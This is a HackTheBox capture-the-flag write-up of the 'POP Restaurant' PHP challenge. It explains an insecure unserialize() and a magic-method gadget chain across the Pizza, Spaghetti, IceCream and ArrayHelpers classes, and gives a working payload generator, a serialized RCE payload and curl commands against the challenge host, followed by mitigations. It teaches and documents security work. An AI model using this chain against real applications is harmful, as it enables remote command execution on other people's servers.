← Back to Writeups
HTBN/AWeb

POP Restaurant

XESXOR8/23/20266 min read
#web#htb#n/a

POP Restaurant

Platform: HackTheBox | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-02-09 | Status: Solved Techniques: call_user_func_rce, insecure_deserialization, php_object_injection, pop_chain

Summary

"Spent a week to create this food ordering system. Hope that it will not have any critical vulnerability in my application."

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: HackTheBox | ID: 20260209_hackthebox_pop_restaurant
  • Tags: sqlite, rce, php, apache, object_injection, unserialize, pop_chain, magic_methods, php7
  • Indicators: unserialize() on user input, base64_decode + unserialize, __destruct() magic method, __get() magic method, __invoke() magic method
  • Source: 20260209_hackthebox_pop_restaurant.md

Foothold

Vulnerability / Misconfiguration

  1. Call_user_func_rce
  2. Insecure_deserialization
  3. Php_object_injection
  4. Pop_chain
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • call_user_func_rce
  • insecure_deserialization
  • php_object_injection
  • pop_chain
  • Tags: sqlite, rce, php, apache, object_injection, unserialize, pop_chain, magic_methods, php7

Original Writeup

<details><summary>Click to expand original content</summary>

POP Restaurant — HackTheBox

Description

"Spent a week to create this food ordering system. Hope that it will not have any critical vulnerability in my application."

Target: http://154.57.164.65:30759

Technology Stack

  • PHP 7.4 with Apache on Debian
  • SQLite database for user/order storage
  • Flag stored at /<random_12chars>_flag.txt on the server (randomized filename)

Architecture

PHP food ordering web application with the following structure:

FilePurpose
register.php / login.phpUser registration and login (session-based auth)
index.phpMain page with food order buttons (Pizza, IceCream, Spaghetti)
order.phpProcesses orders — deserializes user-controlled POST data
Models/PizzaModel.phpPizza class with __destruct() magic method
Models/SpaghettiModel.phpSpaghetti class with __get() magic method
Models/IceCreamModel.phpIceCream class with __invoke() magic method
Helpers/ArrayHelpers.phpExtends ArrayIterator, has current() with call_user_func()
Models/DatabaseModel.phpSQLite database operations
Helpers/CheckAuthentication.phpSession-based auth check

Each food order button on index.php submits a form with a hidden data field containing base64_encode(serialize(new Pizza())) etc. — this is the intended flow.

Analysis

Vulnerability: PHP Object Injection via unserialize()

The critical vulnerability is in order.php (line 16):

$order = unserialize(base64_decode($_POST['data']));

The application deserializes the data POST parameter without any validation or class allowlist. Since PHP's unserialize() can instantiate any loaded class and set arbitrary properties, an attacker can craft a malicious serialized object that chains magic methods across multiple classes to achieve Remote Code Execution.

Gadget Classes (Magic Methods)

Four classes provide the building blocks for the POP chain:

1. Pizza::__destruct()

public function __destruct() {
    echo $this->size->what;
}

Accesses property what on $this->size. If size is an object without a what property, PHP triggers __get().

2. Spaghetti::__get($tomato)

public function __get($tomato) {
    ($this->sauce)();
}

Calls $this->sauce as a function. If sauce is an object, PHP triggers __invoke().

3. IceCream::__invoke()

public function __invoke() {
    foreach ($this->flavors as $flavor) {
        echo $flavor;
    }
}

Iterates over $this->flavors. If flavors is an ArrayHelpers (extends ArrayIterator), iteration calls current().

4. ArrayHelpers::current()

public function current() {
    $value = parent::current();
    return call_user_func($this->callback, $value);
}

Calls call_user_func() with attacker-controlled $this->callback and the current array value. Setting callback = "system" achieves RCE.

Solution

POP Chain Construction

The exploit chains the 4 gadget classes in sequence:

Pizza::__destruct()
  └─ accesses $this->size->what
       └─ Spaghetti::__get('what')
            └─ calls ($this->sauce)()
                 └─ IceCream::__invoke()
                      └─ foreach ($this->flavors as $flavor)
                           └─ ArrayHelpers::current()
                                └─ call_user_func("system", "ls /")
                                     └─ RCE!

Payload Generator (PHP)

<?php
// Include application classes
require_once 'Models/PizzaModel.php';
require_once 'Models/SpaghettiModel.php';
require_once 'Models/IceCreamModel.php';
require_once 'Helpers/ArrayHelpers.php';

$cmd = $argv[1] ?? "ls /";

// Step 4: ArrayHelpers — the RCE sink
// ArrayIterator with command as value, callback = "system"
$arrayHelpers = new Helpers\ArrayHelpers([$cmd]);
$arrayHelpers->callback = "system";

// Step 3: IceCream — triggers ArrayHelpers iteration via __invoke()
$iceCream = new IceCream();
$iceCream->flavors = $arrayHelpers;

// Step 2: Spaghetti — triggers IceCream.__invoke() via __get()
$spaghetti = new Spaghetti();
$spaghetti->sauce = $iceCream;

// Step 1: Pizza — entry point via __destruct()
$pizza = new Pizza();
$pizza->size = $spaghetti;

// Serialize and encode
$payload = base64_encode(serialize($pizza));
echo $payload . "\n";

Serialized Payload (for ls /)

O:5:"Pizza":3:{s:5:"price";N;s:6:"cheese";N;s:4:"size";O:9:"Spaghetti":3:{s:5:"sauce";O:8:"IceCream":2:{s:7:"flavors";O:20:"Helpers\ArrayHelpers":4:{i:0;i:0;i:1;a:1:{i:0;s:4:"ls /";}i:2;a:1:{s:8:"callback";s:6:"system";}i:3;N;}s:7:"topping";N;}s:7:"noodles";N;s:7:"portion";N;}}

Exploitation Steps

Step 1: Register an account

TARGET="http://154.57.164.65:30759"
curl -c cookies.txt -L "$TARGET/register.php" \
  -d "username=ctfuser123&password=ctfpass123"

Step 2: Login to get session

curl -c cookies.txt -b cookies.txt -L "$TARGET/login.php" \
  -d "username=ctfuser123&password=ctfpass123"

Step 3: Send RCE payload — enumerate root directory

curl -s -b cookies.txt "$TARGET/order.php" \
  -d "data=<base64_payload_for_ls_/>"

Response revealed the flag file: pBhfMBQlu9uT_flag.txt

Step 4: Read the flag

curl -s -b cookies.txt "$TARGET/order.php" \
  -d "data=<base64_payload_for_cat_/pBhfMBQlu9uT_flag.txt>"

Methodology Notes

POP Chain Discovery Process

  1. Identify the sink — Find where dangerous functions are called (call_user_func, system, exec, eval, file_get_contents, etc.) with controllable arguments. Here: ArrayHelpers::current() calls call_user_func($this->callback, $value).

  2. Identify the entry point — Find magic methods triggered automatically during deserialization lifecycle. Here: Pizza::__destruct() fires when the object is garbage-collected.

  3. Connect the chain — Work backwards from sink to entry, finding intermediate gadgets that bridge one magic method to the next:

  • __destruct() → property access on wrong type → __get()
  • __get() → call object as function → __invoke()
  • __invoke() → iterate custom iterator → current()

PHP Magic Method Triggers

Magic MethodTriggered When
__destruct()Object is destroyed / garbage collected
__wakeup()Object is unserialized
__get($name)Accessing non-existent/inaccessible property
__set($name, $val)Setting non-existent/inaccessible property
__call($name, $args)Calling non-existent/inaccessible method
__invoke()Object used as a function $obj()
__toString()Object used as a string echo $obj

Mitigations

  • Never use unserialize() on user-controlled input
  • Use json_encode()/json_decode() instead of PHP serialization
  • If unserialize() is required, use the allowed_classes option (PHP 7.0+): unserialize($data, ['allowed_classes' => ['Pizza', 'IceCream', 'Spaghetti']])
  • Avoid call_user_func() with user-controllable callback names
  • Audit magic methods in all loaded classes for potential gadget chains
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR